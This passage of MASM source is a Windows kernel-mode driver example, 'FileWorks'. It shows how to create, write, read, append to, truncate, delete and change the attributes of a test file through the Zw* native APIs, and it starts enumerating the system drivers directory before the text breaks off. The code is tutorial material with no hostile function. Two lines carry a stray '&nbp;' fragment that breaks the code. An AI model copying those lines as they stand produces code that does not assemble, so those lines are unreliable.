    invoke DbgPrint, $CTA0("\nFileWorks: Creating %ws file\n"), g_usFileName.Buffer

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwCreateFile, addr hFile, SYNCHRONIZE, addr oa, addr iosb, 0, FILE_ATTRIBUTE_NORMAL, \
                        0, FILE_CREATE, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File created\n")
        invoke ZwClose, hFile
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't create file. Status: %08X\n"), eax
    .endif
   
    ret

CreateFile endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                            WriteFile                                             
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

WriteFile proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file for writing\n")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL
   
    invoke ZwCreateFile, addr hFile, FILE_WRITE_DATA + SYNCHRONIZE, addr oa, addr iosb, \
                        0, 0, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        CTA0 "Data can be written to an open file", g_szData, 4

        invoke ZwWriteFile, hFile, 0, NULL, NULL, addr iosb, \
                        addr g_szData, sizeof g_szData - 1, NULL, NULL
        .if eax == STATUS_SUCCESS
            invoke DbgPrint, $CTA0("FileWorks: File was written\n")
        .else
            invoke DbgPrint, $CTA0("FileWorks: Can't write to the file. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

WriteFile endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                        MarkAsReadOnly                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

MarkAsReadOnly proc
 
local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE
local fbi:FILE_BASIC_INFORMATION

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file for changing attributes\n")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL
   
    invoke ZwCreateFile, addr hFile, FILE_READ_ATTRIBUTES + FILE_WRITE_ATTRIBUTES + SYNCHRONIZE, \
                        addr oa, addr iosb, 0, 0, FILE_SHARE_READ, \
                        FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        invoke ZwQueryInformationFile, hFile, addr iosb, addr fbi, sizeof fbi, FileBasicInformation
        .if eax == STATUS_SUCCESS
            invoke DbgPrint, $CTA0("FileWorks: File attributes were: %08X\n"), fbi.FileAttributes
            or fbi.FileAttributes, FILE_ATTRIBUTE_READONLY
            invoke ZwSetInformationFile, hFile, addr iosb, addr fbi, sizeof fbi, FileBasicInformation
            .if eax == STATUS_SUCCESS
           &nbp;    invoke DbgPrint, $CTA0("FileWorks: Now file marked as read-only\n")
            .else
                invoke DbgPrint, $CTA0("FileWorks: Can't change file attributes. Status: %08X\n"), eax
            .endif
        .else
            invoke DbgPrint, $CTA0("FileWorks: Can't query file attributes. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

MarkAsReadOnly endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                          ReadFile                                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

ReadFile proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE
local p:PVOID
local cb:DWORD
local fsi:FILE_STANDARD_INFORMATION

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file for reading\n")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwOpenFile, addr hFile, FILE_READ_DATA + SYNCHRONIZE, addr oa, addr iosb, \
                FILE_SHARE_READ + FILE_SHARE_WRITE + FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT
    .if eax == STATUS_SUCCESS

        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        invoke ZwQueryInformationFile, hFile, addr iosb, addr fsi, sizeof fsi, FileStandardInformation
        .if eax == STATUS_SUCCESS

            mov eax, fsi.EndOfFile.LowPart
            inc eax
            mov cb, eax

            invoke ExAllocatePool, PagedPool, cb
            .if eax != NULL
                mov p, eax

                invoke RtlZeroMemory, p, cb

                invoke ZwReadFile, hFile, 0, NULL, NULL, addr iosb, p, cb, 0, NULL
                .if eax == STATUS_SUCCESS
                    invoke DbgPrint, $CTA0("FileWorks: File content: \=%s\=\n"), p
                .else
                    invoke DbgPrint, $CTA0("FileWorks: Can't read from the file. Status: %08X\n"), eax
                .endif

                invoke ExFreePool, p

            .else
                invoke DbgPrint, $CTA0("FileWorks: Can't allocate memory. Status: %08X\n"), eax
            .endif
        .else
            invoke DbgPrint, $CTA0("FileWorks: Can't query file size. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile

    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

ReadFile endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                        UnmarkAsReadOnly                                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

UnmarkAsReadOnly proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE
local fbi:FILE_BASIC_INFORMATION

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file for changing attributes\n")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL
   
    invoke ZwCreateFile, addr hFile, FILE_READ_ATTRIBUTES + FILE_WRITE_ATTRIBUTES + SYNCHRONIZE, \
                        addr oa, addr iosb, 0, 0, FILE_SHARE_READ, FILE_OPEN, \
                        FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        invoke ZwQueryInformationFile, hFile, addr iosb, addr fbi, sizeof fbi, FileBasicInformation
        .if eax == STATUS_SUCCESS
            invoke DbgPrint, $CTA0("FileWorks: File attributes were: %08X\n"), fbi.FileAttributes
            and fbi.FileAttributes, not FILE_ATTRIBUTE_READONLY
     &nbp;      invoke ZwSetInformationFile, hFile, addr iosb, addr fbi, sizeof fbi, FileBasicInformation
            .if eax == STATUS_SUCCESS
                invoke DbgPrint, $CTA0("FileWorks: Now file can be written or deleted\n")
            .else
                invoke DbgPrint, $CTA0("FileWorks: Can't change file attributes. Status: %08X\n"), eax
            .endif
        .else
            invoke DbgPrint, $CTA0("FileWorks: Can't query file attributes. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

UnmarkAsReadOnly endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                         AppendFile                                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

AppendFile proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file to append data\n")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwOpenFile, addr hFile, FILE_APPEND_DATA + SYNCHRONIZE, addr oa, addr iosb, \
                                    FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        CTA0 " using ZwWriteFile", g_szDataToAppend, 4

        invoke ZwWriteFile, hFile, 0, NULL, NULL, addr iosb, \
                        addr g_szDataToAppend, sizeof g_szDataToAppend - 1, NULL, NULL
        .if eax == STATUS_SUCCESS
            invoke DbgPrint, $CTA0("FileWorks: Data appended to the file\n")
        .else
            invoke DbgPrint, $CTA0("FileWorks: Can't append data to file. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile
   .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

AppendFile endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                        TruncateFile                                              
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

TruncateFile proc
 
local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE
local fsi:FILE_STANDARD_INFORMATION
local feofi:FILE_END_OF_FILE_INFORMATION

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file to truncate\n")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwOpenFile, addr hFile, FILE_WRITE_DATA + SYNCHRONIZE, addr oa, addr iosb, \
                        FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        invoke ZwQueryInformationFile, hFile, addr iosb, \
                        addr fsi, sizeof fsi, FileStandardInformation
        .if eax == STATUS_SUCCESS

            invoke DbgPrint, $CTA0("FileWorks: EOF was: %08X\n"), fsi.EndOfFile.LowPart

            and feofi.EndOfFile.HighPart, 0
            mov eax, fsi.EndOfFile.LowPart
            shr eax, 1
            mov feofi.EndOfFile.LowPart, eax
            invoke ZwSetInformationFile, hFile, addr iosb, \
                        addr feofi, sizeof feofi, FileEndOfFileInformation
            .if eax == STATUS_SUCCESS
                invoke DbgPrint, $CTA0("FileWorks: File truncated to its half size\n")
            .else
                invoke DbgPrint, $CTA0("FileWorks: Can't truncate file. Status: %08X\n"), eax      
            .endif

        .else
            invoke DbgPrint, $CTA0("FleWorks: Can't query file info. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

TruncateFile endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                         DeleteFile                                               
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DeleteFile proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hFile:HANDLE
local fdi:FILE_DISPOSITION_INFORMATION

    invoke DbgPrint, $CTA0("\nFileWorks: Opening file for deletion")

    InitializeObjectAttributes addr oa, addr g_usFileName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwCreateFile, addr hFile, DELETE + SYNCHRONIZE, addr oa, addr iosb, \
                        0, 0, FILE_SHARE_DELETE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("FileWorks: File openeded\n")

        mov fdi.DeleteFile, TRUE
        invoke ZwSetInformationFile, hFile, addr iosb, addr fdi, sizeof fdi, FileDispositionInformation
        .if eax == STATUS_SUCCESS
            invoke DbgPrint, $CTA0("FileWorks: File has been marked for deletion\n")
            invoke DbgPrint, $CTA0("FileWorks: It should be deleted when the last open handle is closed\n")
        .else
            invoke DbgPrint, $CTA0("FileWorks: Can't mark file for deletion. Status: %08X\n"), eax
        .endif

        invoke ZwClose, hFile
    .else
        invoke DbgPrint, $CTA0("FileWorks: Can't open file. Status: %08X\n"), eax
    .endif

    ret

DeleteFile endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                       DeleteDirectory                                            
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DeleteDirectory proc

local oa:OBJECT_ATTRIBUTES
local iosb:IO_STATUS_BLOCK
local hDirectory:HANDLE

    InitializeObjectAttributes addr oa, addr g_usDirName, \
                        OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwDeleteFile, addr oa
    .if eax == STATUS_SUCCESS
        invoke DbgPrint, $CTA0("\nFileWorks: Directory should be deleted\n")           
    .else
        invoke DbgPrint, $CTA0("\nFileWorks: Can't delete directory. Status: %08X\n"), eax
    .endif

    ret

DeleteDirectory endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                      EnumerateFiles                                              
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

EnumerateFiles proc uses esi

local status:NTSTATUS
local oa:OBJECT_ATTRIBUTES
local hSystemRootDirectory:HANDLE
local hDriversDirectory:HANDLE
local as:ANSI_STRING
local us:UNICODE_STRING
local iosb:IO_STATUS_BLOCK
local tf:TIME_FIELDS
local cb:DWORD
local pfdi:PFILE_DIRECTORY_INFORMATION

    invoke DbgPrint, $CTA0("\nFileWorks: Opening directory to enumerate files\n")
   
    InitializeObjectAttributes addr oa, $CCOUNTED_UNICODE_STRING("\\SystemRoot"), \
                                OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, NULL, NULL

    invoke ZwOpenFile, addr hSystemRootDirectory, FILE_LIST_DIRECTORY + SYNCHRONIZE, addr oa, \
                        addr iosb, FILE_SHARE_READ + FILE_SHARE_WRITE + FILE_SHARE_DELETE, \
                        FILE_DIRECTORY_FILE + FILE_SYNCHRONOUS_IO_NONALERT
    .if eax == STATUS_SUCCESS

        InitializeObjectAttributes addr oa, $CCOUNTED_UNICODE_STRING("system32\\drivers"), \
                            OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, hSystemRootDirectory, NULL

        invoke ZwOpenFile, addr hDriversDirectory, FILE_LIST_DIRECTOR